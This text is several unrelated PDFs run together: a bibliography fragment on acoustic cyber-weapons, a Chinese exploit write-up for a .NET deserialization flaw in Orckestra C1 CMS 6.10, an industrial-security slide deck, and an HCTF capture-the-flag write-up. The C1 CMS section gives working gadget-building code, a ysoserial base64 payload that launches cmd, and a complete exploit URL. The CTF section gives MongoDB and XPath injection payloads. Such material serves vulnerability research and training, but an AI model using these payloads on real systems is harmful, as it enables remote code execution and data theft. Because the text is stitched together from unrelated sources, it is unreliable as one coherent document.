scale. Journal of Sound and Vibration, 127(3), 1988. K. Persson and R. Rylander. Disturbance from low-frequency noise in the environment: A survey among the local environmental health authorities in Sweden. Journal of Sound and Vibration, 121(2), 1988. F. J. Pompei. Sound from ultrasound: The parametric array as an audible sound source. PhD thesis, Massachusetts Institute of Technology, 2002. K. Poulsen. Hackers assault epilepsy patients via computer. https://www.wired.com/2008/03/hackers-assault-epilepsy-patients-via-computer/, 2008. C. Y. H. Qibai and H. Shi. An investigation on the physiological and psychological effects of infrasound on persons. Journal of Low Frequency Noise, Vibration and Active Control, 23(1), 2004. B. Rios and J. Butts. When IoT Attacks: understanding the safety risks associated with connected devices. Black Hat USA, 2017. B. Rios and J. Butts. See https://www.wired.com/story/medtronic-insulin-pump-hack-app/ (2019) PwC 80 August 2019 Sound Effects: Exploring acoustic cyber-weapons E. Ronen and A. Shamir. Extended functionality attacks on IoT devices: The case of smart lights. In Security and Privacy (EuroS&P), 2016 IEEE European Symposium on, 2016. M. Rushanan, A. D. Rubin, D. F. Kune, and C. M. Swanson. Sok: Security and privacy in implantable medical devices and body area networks. In IEEE Symposium on Security & Privacy, 2014. B. Smagowska and M. Pawlaczyk-Łuszczy´nska. Effects of ultrasonic noise on the human bodya bibliographic review. International Journal of Occupational Safety and Ergonomics, 19(2), 2013. S. Stansfeld and M. Shipley. Noise sensitivity and future risk of illness and mortality. Science of the Total Environment, 520, 2015. R. Storm. Health risks due to exposure of low frequency noise. http://www.diva-portal.org/smash/get/diva2:273045/FULLTEXT01.pdf, 2009. V. Tandy. Something in the cellar. Journal-Society For Psychical Research, 64, pp.129-140, 2000. M. Ueda, A. Ota, and H. Takahashi. Investigation on high frequency noise in public space: We tried noise abatement measures for displeasure people. In Proceedings of the 7th Forum Acusticum, 2014. C. Valasek and C. Miller. Remote exploitation of an unaltered passenger vehicle. Black Hat USA, 2015 A. van Wieringen and C. Glorieux. Assessment of short-term exposure to an ultrasonic rodent repellent device. Journal of the Acoustical Society of America, 144(4), 2018. R. Vinokur. Acoustic noise as a non-lethal weapon. Sound and Vibration, 38(10), 2004. I. Vogel, J. Brug, C. P. Van der Ploeg, and H. Raat. Young peoples exposure to loud music: a summary of the literature. American journal of Preventive Medicine, 33(2), 2007. H. E. Von Gierke and C. W. a. Nixon. Damage risk criteria for hearing and human body vibration. Noise and vibration control engineering: principles and applications, 1992. K. P. Waye, R. Rylander, S. Benton, and H. Leventhall. Effects on performance and work quality due to low frequency ventilation noise. Journal of Sound and Vibration, 205(4), 1997. PwC 81 August 2019 Sound Effects: Exploring acoustic cyber-weapons P. A. Williams and A. J. Woodward. Cybersecurity vulnerabilities in medical devices: a complex environment and multifaceted problem. Medical Devices, 8, 2015. J. D. Wilson, M. L. Darby, S. L. Tolle, and J. C. Sever Jr. Effects of occupational ultrasonic noise exposure on hearing of dental hygienists: a pilot study. Journal of Dental Hygiene, 76(4), 2002. M. Wixey. See no evil, hear no evil: Hacking invisibly and silently with light and sound. In DEFCON 25, 2017. C. Yan, W. Xu, and J. Liu. Can you trust autonomous vehicles: Contactless attacks against sensors of self-driving vehicle. In DEFCON 24, 2016.
pdf
漏洞描述 ⽇常逛zdi发现的洞,Orckestra C1 CMS 6.10存在 .net 反序列化漏洞,需要登录,成因是因 为 TypeNameHandling.Auto 环境搭建 下载 https://github.com/Orckestra/C1-CMS-Foundation/releases/download/v6.10/C1.CMS.6.10.zip 然后Visual Studio打开运⾏。 分析 根据cve描述和补丁对⽐发现漏洞点存在于Composite.dll,使⽤github的对⽐发现在此commit中增加了对反序列 化绑定类型的校验。 https://github.com/Orckestra/C1-CMS-Foundation/commit/73dc26050e5f3ffc31531aa332463de9398bc213 ⽽我在之前的⽂章中写过,json.net如果使⽤了TypeNameHandling.All或者TypeNameHandling.Auto,会造成反 序列化问题。官⽅建议如果使⽤TypeNameHandling要使⽤binder来控制反序列化的类型。 那么根据补丁我们来看6.10版本的CompositeSerializationBinder类 有漏洞的6.10版本中判断了assemblyName等于 Composite.Generated 并且typeName以CompositeGenerated 开头,进⾏⾃写类的type逻辑处理,别的type直接调⽤基类,那么等于没做限制。 CompositeSerializationBinder被⽤在CompositeJsonSerializer类中,其中有两个静态⽅法需要注意 直接传⼊json字符串然后反序列化,并且TypeNameHandling为auto。 第⼆个静态⽅法⽐较关键 分别获取json中的meta:obj、meta:type,然后根据type反射获取其Deserialize⽅法,如果为空则调⽤上⾯的第⼀ 个静态⽅法,传⼊meta:obj标签的值,直接反序列化。 我们可以构造payload如下 当type获取不到静态Deserialize⽅法时,进⼊ CompositeJsonSerializer.Deserialize<T>(text) 那么这两个点都可控,接着我们看哪⾥调⽤了这个⽅法。 {"meta:obj":"","meta:type":""} EntityTokenSerializer.Deserialize(string)调⽤其两个参数的重载⽅法,经过 CompositeJsonSerializer.IsJsonSerialized(serializedEntityToken)判断进 ⼊ CompositeJsonSerializer.Deserialize<EntityToken>(serializedEntityToken, includeHashValue) 这⾥接受的类型为EntityToken,所以我们需要寻找EntityToken中可以存储payload的地⽅,例如⼀个object类型 的字段。 我们可以通过⼏⾏代码来寻找哪些类继承了EntityToken类 Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); foreach (var assembly in assemblies) { if (assembly.FullName.Contains("Composite")) { Type[] types = assembly.GetTypes(); foreach (var type in types) { try { if (!typeof(EntityToken).IsAssignableFrom(method.ReturnType)) { continue; } else { var memberInfos = type.GetProperties(BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.Public); foreach (var member in memberInfos) { resp($"type:{type.Name} 字段名:{member.Name} 类型: {member.PropertyType}"); } } } catch { } } } } 发现DataGroupingProviderHelperEntityToken类中GroupingValues是⼀个 Dictionary<string, object> 类 型,可以存放gadget。 那么可以构造payload using Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.IO; using System.Runtime.Serialization; using System.Security.Principal; using System.Text; namespace ConsoleApp1 { class Program { static void Main(string[] args) { // .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc --minify var windowsIdentity = new WindowsIdentityIdentityMarshal("AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGV sbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dG luZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZ XIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIw MDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2F zc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOl Byb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZ T0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9i amVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs="); Dictionary<string, object> dictionary = new Dictionary<string, object> { }; dictionary.Add("asd", windowsIdentity); ⽣成之后替换⼀下程序集名称 DataGroupingProviderHelperEntityToken dataGroupingProviderHelperEntityToken = new DataGroupingProviderHelperEntityToken(typeof(DataGroupingProviderHelperEntityToken).Ass emblyQualifiedName); dataGroupingProviderHelperEntityToken.GroupingValues = dictionary; StringBuilder sb = new StringBuilder(); using (StringWriter sw = new StringWriter(sb)) using (JsonTextWriter writer = new JsonTextWriter(sw)) { writer.QuoteChar = '\''; JsonSerializer ser = new JsonSerializer(); ser.TypeNameHandling = TypeNameHandling.All; ser.Serialize(writer, dataGroupingProviderHelperEntityToken); } Console.WriteLine(sb); Console.ReadKey(); } } [Serializable] public class WindowsIdentityIdentityMarshal : ISerializable { public WindowsIdentityIdentityMarshal(string b64payload) { B64Payload = b64payload; } private string B64Payload { get; } public void GetObjectData(SerializationInfo info, StreamingContext context) { Console.WriteLine(typeof(WindowsIdentity).AssemblyQualifiedName); info.SetType(typeof(WindowsIdentity)); info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload); } } } 然后再找⼀下哪⾥调⽤了 EntityTokenSerializer.Deserialize(serializedEntityToken); c:\Website\Composite\content\views\relationshipgraph\Default.aspx.cs 直接get传⼊EntityToken进⾏反序列化。 由此构造payload {'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelpe r.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProv iderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues': {'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib], [System.Object, mscorlib]], mscorlib','asd': {'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD/////AQ AAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1Z GlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVz aAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8 vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci 1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlc i5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydElu Zm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTp Qcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPg s='}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProvider Helpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'} 其中 "meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" 这个类型可以随便给,只要实现序列化接⼝就⾏。 拓展 http://localhost:36859/Composite/content/views/relationshipgraph/Default.aspx? EntityToken={"meta:obj":" {'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelpe r.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProv iderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues': {'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib], [System.Object, mscorlib]], mscorlib','asd': {'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD%2F%2F% 2F%2F%2FAQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVml zdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm 91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zP SJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5z OmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI%2BPE9iamVjdERhd GFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nl c3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8%2BPC9hOlByb2Nlc3MuU3Rhc nRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0 YVByb3ZpZGVyPgs%3D'}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements .ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToke n, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}","meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} c1cms历史洞6.5版本以前还有⼀个CVE-2019-18211,也是EntityTokenSerializer出的问题, 在EntityTokenSerializer.cs中, 如果不以 { 开头则进⼊DeserializeLegacy ⽽这个⽅法中可以调⽤任意类的Deserialize(string)静态⽅法,于是找到了 Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter 造成反序列化rce
pdf
Industrial Cybersecurity Landscape in 2020: Trends, Challenges, and Opportunities Dr. Terence Liu VP-GM, Trend Micro and TXOne Networks All product names, logos, and brands are property of their respective owners. All company, product and service names used in this deck are for identification purposes only. Use of these names, logos, and brands does not imply endorsement. START POINT OF THE HEAT OT IT and OT Have Converged IT ERP IIoT ! ! Careless Insider Foiled Conspiracy 1. Launch an DDoS attack against Tesla in order to preoccupy the company’s security staff 2. Utilize malware to exfiltrate data for further ransom • No wireless, no Bluetooth • No connection (ethernet) • Physical Isolation (six walls) • All software/hardware tested BEFORE installing • Data only passed by personal means, USB, CD, DVD == Your business does not need to optimize production Air-gapped OT is actually RARE for modern factories Stuxnet DUQU Shamoon,Flamer, Gauss Havex, Dragonfly BlackEnergy 3 Industroyer Shamoon 2 Triton, Trisis WannaCry,NotPeta, Bad Rabbit VPNFilter LockerGoga,Ekans, DoppelPaymer ColdLock 2010 2011 2012 2013 2014 2015 2016 2017 2017 2018 2019 2020 Critical Infrastructure Manufacturing Threat’s Paradigm Shift in ICS World Manufacturers could be TARGETED Evolving Cyber Attacks in ICS WannaCry 2017 Non-Targeted attack. Worm propagation. LockerGoga 2019 Targeted attack. File encryption. Snake/EKANS 2020 Targeted attack. File encryption. Detect and encrypt ICS-related files. DoppelPaymer 2020 Targeted attack. File encryption and data exfiltration. Kill OT tasks. Merck, FedEx, Maersk, TSMC, … Norsk Hydro, Altran, Hexion, Momentiv Honda, and Enel Argentina PEMEX, and Visser Precision (supplier of Boeing, Tesla, and Lockheed Martin) ““A focus on ORM – or operational resilience management - beyond information-centric cybersecurity is sorely needed,” - Gartner A LEAGUE OF THEIR OWN 2015 Ukraine Power Grid Cyber Attack 10 Business Network Internet Control System Network Field Device Network 1. Spear phishing e-mail with a Microsoft document containing a macro that installs BlackEnergy3 2. BlackEnergy3 connects to C&C, and hacker steals credentials from business network 3. Remote access from business network to ICS network with VPN credentials 4. Use existing remote access tools (simulate operator HMI) to command over 50 remote stations and manipulate circuit breaker within 30 minutes (power outage) 5. Upload malicious firmware to the serial- to-ethernet gateway devices (Moxa and iRZ) 8. Telephone denial-of- service attack on the call center 6. Use modified KillDisk malware to erase the master boot record of impacted organization systems (Windows/Linux), include Windows-based RTU 7. Utilizing UPS systems to impact connected load with a scheduled service outage Database OPC Server MES PLC/RTU Maintenance Service Device/System Vendor System Integrator Office Factory Office PC Office Server Factories Information System Network Control Information Network Control Network Field-bus Field-bus EWS HMI Remote Maintenance Worm Propagation in 2017-2018 Victim Companies Impact Pharmaceutical, Chemical (German) $310,000,000+ Multinational Delivery Services $300,000,000+ Construction Materials $380,000,000+ Maritime $300,000,000+ Semiconductor Manufacturing $83,000,000+ DMZ AD 1 SQL Targeted Ransomware Attack in 2019 and 2020 • RDP/VPN access • Vulnerability • Weak PW • Brute Force Initial Access • Compromised • Computer • Server • C&C Persistence • Gain AD server credentials Privilege Escalation • Setup download • HTTP • SMB • FTP • Setup GPO Setup drop point • Received GPO • Download payload • HTTP • SMB • FTP Dropping • Ransomware drop completed • Bypass AV • Execution & Infection Ransom 4 1 2 3 5 6 Recent Cyber breaches in Taiwan/China DMZ Zone MES EWS IT Servers OT Servers OA Section Cross-Plant VPN Production Line Production Line AD Server • Suffer from both Non- Targeted and Targeted Attacks • No boundaries between IT and OT • No boundaries between factories • Abuse the high- credential accounts Zero Trust Full Trust… EWS PLC HMI OT Control System Field Device OT Backbone OT Server Level 3 MES Historian OPC Client Server Firewall EWS PLC HMI EWS PLC HMI Level 0 Level 1,2 Contaminated USB Bot Ransomware APT Unmanaged notebook Intentional/ unintentional Threats and Attack Vectors Ransomware Targeted attack Production Outage Worm Non-Targeted attack Production Outage PLC Misuse Targeted attack Production Outage Lack of Ability Insufficient knowledge of cybersecurity and countermeasures in OT No Visibility Lack of visibility and connected device management in quantity and quality control No Tailored Solutions People need to use IT-centric products to deal with OT-specific issues Legacy Liability Due to legacy liability, which is preventing cybersecurity countermeasure deployment Pursuit of Productivity The principle of manufacture productivity will override every cybersecurity practice and SOP ICS Cyber Security Challenges Equipment and Technology Resource and Priority Majority of ICS Vulnerabilities are easily exploited Source: ICS-CERT https://ics-cert.us-cert.gov/ 1. Non-Authenticated control command 2. Unsecured web service 3. Native device backdoor 4. Easily conducted Buffer Overflow 18.5% 34.7% 17.5% 1.2% 28.1% CVSS 3.0 Statistics Critical High Medium Low Other Level of Cybersecurity Maturity (in Mentality) So What?! Err… Good to learn. But we have the firewall! That’s important! Who is gonna to take ownership and responsibility? • NIST Cybersecurity Framework, IEC62443/ISA-99, NIST 800-53, NIST SP 800-82, NERC CIP • Industry Best Practice, for example, ATSG (ALL TOYOTA SECURITY GUIDELINE) Positive Correlation with company size, level of automation, and cyber capability A cyber breach would definitely accelerate it… Demands to Supply Chain Adversary Defense Readiness Gov’s works § Customers’ requests in real-time data visibility would uplift the OT infrastructure § Cybersecurity is becoming a highlighted issue in supply chain management. i.e, NIST CSF § Certificate of Origin § State-Sponsored > Profit-Driven § AD server compromising + Ransomware § Intention? Pay or Not? § OT is pretty much a black box § IT Defense: Semiconductor > LCD Panel > EMS = PCB > Others § IT runs OT security >>> OT runs OT security § 經濟部工業局資安旗艦計畫 § ITRI: SecPaas (cybersecurity as a platform) coaches ICS users, provides pentest and evaluation services, and bridges cybersecurity vendors to the users to lower the barrier. § III-CSTI: ICS Testbed, Private LTE and 5G, Certification, and MITRE THE GOOD GUYS Internet Security Defense in Enterprises User Environments Cloud Environments Physical, Virtual, & Container Workloads Public Cloud Workloads DMZ VPN Storage Area Network (SAN) ERP CRM SCM Datacenter OT Server Historian MES MQTT OT Shop Floor • Deploy EPP and EDR on every possible server and PC • Deploy Network Protection at every possible perimeter • However: the OT Shop Floor is like a black box EWS PLC HMI OT Control System Field Device OT Backbone OT Server Level 3 MES Historian OPC Server Firewall EWS PLC HMI EWS PLC HMI Level 0 Level 1,2 Defense in OT Shop Floor ICS Detection Perimeter Firewall Perimeter Firewall Secure the perimeter 1 ICS Detection Platform Identify vulnerable assets 2 Application Control Application Control Lock down legacy OS 3 NGAV 4 Protect modern equipment ICS Detection Platform • For startups founded 5 years ago, the target use case was an ICS Intrusion Detection System • But OT was not quite ready then and therefore many firms pivoted to Asset Visibility and Management • Firms MUST have dedicated resources for monitoring • Accenture (at S4x20) estimated the annual cost of ICS Detection at ……… 1.7M 2.5M 10 Remote Access – COVID makes it worse ”Direct Remote Access” is risky • Vulnerability of VPN and RDP gateways • Weak Authentication of VPN and RDP • Loss of visibility through VPN • Loss of control through RDP • For Customer (and Boss): Wants to know the utilization, progress, and even recipes and parameters in real-time • For Equipment vendor: Cannot send technician to do on-site support and need remote access and control Use Cases Indirect Access thru Cloud Service-Oriented Value Proposition Product • 20% Margin Service • 3x+ Margin Consulting Services • Cybersecurity Architecture & Design Services Managed Services • Ongoing Maintenance • IR & Forensics GSI, OEM, and MSSP Product Managed Services Consulting Services OPPORTUNITIES BEYOND THE UNCERTAINTY NIST Cybersecurity Framework Identify Protect Detect Respond Recover Asset Discovery & Network Visualization Discover assets & visualize the ICS network with passive & active monitoring Vulnerability Assessment Know where vulnerabilities are and how assets may be compromised Where we are Last Line of Defense • Protect Operations • OT-specific Knowledge • Quickest Recovery Confidentiality Integrity Availability This is our priority: Keep the Operation Running Endpoint and Network Protection Identify Protect Detect Respond Recover ICS Endpoint Protection § Lightweight and doesn't impact the operation § Identify and secure critical processes § Cannot require frequent updates § Very low rate of false positives ICS Network Segmentation § Lightweight and doesn't impact the operation § Meet a bunch of hardware requirements § Shield not only system vulnerabilities but also ICS protocols and control commands in order to secure critical processes Keep the Operation Running Detection, Response, and Recover Identify Protect Detect Respond Recover • OT anomalies and telemetry • Full visibility across the Enterprise • Analysis and Investigation • Remediation and mitigation • Back up and restore Before During and After We are still in the very Beginning • OT is being weaponized with IT technologies • But they have different capability, capacity, and maturity of IT technology • The journey of OT Cyber just starts COMPUTING CONNECTIVITY Virtualization, Private Cloud, and Edge Computing § Imagine in addition to OT servers, all workstations and PLCs will be virtualized and running on COTS hardware § Edge Cloud Time-Sensitive Network (TSN), 5G, Wifi6 Remotely controlling •High Bandwidth (5G eMBB) •Low Latency (5G URLLC) Communication inside the digital factory •Wifi6 Time-critical, reliable process optimization •Low Latency - TSN Cost-saving for outdoor connectivity •High Coverage – 5G mMTC Perfect Storm for OT Cybersecurity Digitalization Hackers aim at OT and ICS OT is NOT well prepared • OT is NOT air-gapped anymore as enterprises are collecting data for cloud analysis (IIoT) • Industry 4.0, 5G, AI/ML, Edge Computing, Digital Twin • From 2017, OT has suffered from both non-targeted and targeted attacks • Hackers are aware of OT weaknesses and target accordingly • Technology of the dark side is also evolving and more impactful • Limited number of experts who understand both OT and cybersecurity • Lack of OT-specific products and playbooks If you are in charge of OT cybersecurity: • Focus on Operational Resilience Management • Identify your assets and network • Shield vulnerable and critical assets, and implement network segmentation to avoid production outage • Adding OT visibility into the SIEM/SOC • Hire experts (internal or external) © 2020
pdf
HCTF Writeup 队伍名:Albertchang Web 部分 Injection 看了下 cookie,发现 base64,解密: 看了好久没看得明白。主办方放了 Hint,是 Xpath 注入。百度之,在文库发现了一篇文章, 测试了下: 发现有回显 谷歌找到了一篇文章,经过尝试最终构造出 payload confused question 右键源码,发现 login.php.txt 提交一次我们可以发现: 而 parse_str 这一个函数会对内容进行两次 url 编解码。 大致意思是让我们绕过其中癿函数,以 admin 身份迚行提交 pasword,也就是我们只要是 admin 身份就可以,而 password 则丌需要迚行什么绕过。丌知道想癿对丌对,可是实际上 这样执行是可以返回 flag 癿: Payload 截图如下: MMD(队友跑出去睡觉去了,我是代写的, payload 是我按照他说的自己编写的。。管理理 解意思就好,题目名:M(妈)M(妈)D(的)) Mangodb 癿数据库,注入点在 password 哪里,在 wooyun 上找到一篇文章, http://drops.wooyun.org/tips/3939 , 其 中 有 一 段 关 于 mangodb 癿 注 入 , 之后按照这个构造 payload, name=0'||((tojson(db.getCollectionNames())>='a'))||'&password=1 盲注引号中间癿部分, 得到这 样癿构造。。。name=a'||((tojson(db.getCollectionNames())>='[ "HCTF", "login", "system.indexes" ]'))||'&password=1。。。得到 name=a'||((tojson(db.getCollectionNames())>='[ "HCTF", "login", "system.indexes" ]'))||'&password=1 同样构造去读取 HCTF 下癿数据,这块是根据 本地测试癿方式得到如果 db.test.find()[0][‘’],红色部分如果读取到癿列丌存在则数据为 undefined,如果存在正常返回正常数据。所以测试红色部分,首先测试癿是 flag,发现 存在,之后测试别癿发现 id 存在,之后尝试读取 flag 数据库,同样构造 name=0'||(((tojson(db.HCTF.find()[0]['flag']))>=' '))||'&password=1,同样 修改红色部分,得到 flag,注意爆癿时候第一位是空格。 Flag:HCTF{h4ck_m0ng0db_2_3_1} 管理大哥。。队友说他是纯手动测试癿,中间有跳步,猜出来一部分数据,基本上爆出来两三 个就可以根据规律推出几位。。。。并没有写脚本。。。。所以我也是就没有附上脚本。。有问题 直接发邮箱吧。。。。 Xxxxx 就是 25 分哪个 忘记题目叫啥了,就是一个 I 和 L 癿跳转。。。。。。。filddler 戒者 burp 抓包就好了 在 http 头发现 flag。 flag: hctf{w3lcome_t0_hc7f_f4f4f4} fuck === 传参数。。。a 和 b,三个等号,直接[]数组绕过,直接得到 flag。 http://120.26.93.115:18476/eff52083c4d43ad45cc8d6cd17ba13a1/index.ph p?a[]=s878926199a&b[]=s155964671a Flag: hctf{dd0g_fjdks4r3wrkq7jl} Personal blog 发现一篇日志写着 ,尝试找 源码,。。在目录下没有发现备份癿代码。。发现代码托管在 github 上,尝试在 github 上 搜索 LoRexxar,得到找到源码。得到 flag 解 base64 得到 flag hctf{H3xo_B1og_Is_Niu8i_B1og} Hack my net 神奇的 css 问题。。。之前在纠结半天哪个什么.css proxy 什么鬼。。然后中 午发现利用@可以跨域读取 css 文件,猜测是读取 这个配置文件,之后还是没找到思路,晚上 的时候在 google 上查到 css 的某一种验证是利用 http 头的 验证, 再加上之前发现的 conf 文件,构造 Location 重 定向到这个文件,尝试读取,在 vps 上构造 , 之前构造几次都没有加/css 的 http 头,之后加上之后成功得到 flag flag:hctf{302_IS_GOOD_TO_SSRF} Server is done 随便提交一些东西,发现在源码存在提示流密码.百度知道流密码最常用癿是 RC4,所 以构造 RC4 异戒。读取 flag 长度为 515,所以提交 515 个 1,提取 message 中癿信息为 key 和 1 异戒癿结果,之后用 key 和 flag 异戒,在最后找到 flag import re import requests s = {'arg': '1' * 515} url = 'http://133.130.108.39:7659/8270537b1512009f6cc7834e3fd0087c/main.php' key = requests.post(url=url, data=s) key2 = key.text[key.text.find( 'Message: ') + 9:key.text.find('Message: ') + 9 + 2060].split('\\x')[1:] f = key.text[key.text.find('Flag Here:') + 10:] printkey.text print key2 print f key3 = [] fori in key2: key3.append(chr(int(i, 16))) # print key3 flag = '' fori in xrange(len(key3)): flag += chr(ord(f[i]) ^ ord(key3[i]) ^ ord('1')) print flag COMA WHITE 迚去之后发现源码存在一段加密癿 js 脚本。。在线解密之后发现是一段验证,把所有 文件 down 到本地测试,发现主要有三个函数 第一个操作是 base64 加密,第二个是过滤等号,第二个是变成 md5.之后在其中吧每一步 都打印出来,发现 其操作就 是这样癿,最后是重复癿 md5,那么在 result 癿长度为 704,正好 22 个 md5, def f(string,width): return [string[x:x+width] for x in xrange(0,704,32)] s='7e56035a736d269ad670f312496a0846d681058e73d892f3a1d085766d2ee0846d0a f56bf900c5eeb37caea737059dce0326a0d2fc368284408846b9902a78da2a603965531 3bf5dab1e43523b62c3748041613eff4408b9268b66430cf5d9a151f581937765890f2a 706c77ea8af3cc06adbb51e161b0f829f5b36050037c6f3d1bc5e8d1a5a239ae77c74b4 4955fea0326a0d2fc368284408846b9902a78da8870253dbfea526c87a75b682aa5bbc5 25349a3437406843e62003b61b13571d09eb53a8dfb5c98d741e2226a44480242a60396 55313bf5dab1e43523b62c374b81f204316b63919b12b3a1f27319f81af6cdb852ac107 524b150b227c2886e6301270f6f62d064378d0f1d73a851973167a3b2baacd621cc223e 2793b3fa9d28582d13498fb14c51eba9bc3742b8c2fb8dd7ca5c612a233514549fa9013 ef242504501092bb69d0cb68071888c70cec7503666eb57e9ebb9a7bf931c68ac733' print f(s,32) 写个脚本分开,一个一个解密,补上等号解 base64,得到 flag Flag:A06370EA15AC7B2F3C900D2F696C2FB0 MC 服务器租售中心 - 1(真的不是玩 MC) 。。。第一天做 404.hack123.com 时候无意中发现了这个网址。。做了半天没头绪。。最 后 发 现 做 多 了 。。。 这 个 mc.hack123.com 上 存 在 两 个 博 客 , 其 中 一 个 为 http://kirie.hack123.pw/,在其中发现 车票一张,还有最后加密癿日志。。。试了几次。。发下竟然是 123456.。。。迚去找到了后台 地址 mc4dm1n.hack123.pw 根据提示,密码是生日,利用 kirie 这个用户名成功登陆,迚入 第二部验证,提示癿验证码在源码中可找到,提示癿身份证在车票上得到。登陆后提示权限 丌 可 用 。 发 现 cookie 存 在 一 个 名 为 ht 癿 , 根 据 源 码 癿 提 示 为 猜测需要将 level 编程 1。。。。。。。。在这里卡了很久想到既然 ht 癿 cookie 是 base64 癿,有因为这个长度是 44 位, 利用 base64 解密之后癿特性,尝试爆破 ht 癿最后几位,根据 base64 是 3 转 4 爆破。 发现题目存在多解,爆破完一共 159 个。。。随便选一个,迚去得到第一个 flag FLAG:hctf{4!7hi3Pr0b1emZhEnTMbor1ng..} RE 部分 Andy 纯体力活,没什么好说癿, 变换顺序是末尾添加 hdu1s8→字符串反序→base64→置换密码变换 所以就很简单了,直接写个程序泡一下 #include "stdafx.h" //#include <string> #include "windows.h" using namespace std; char array1[] = 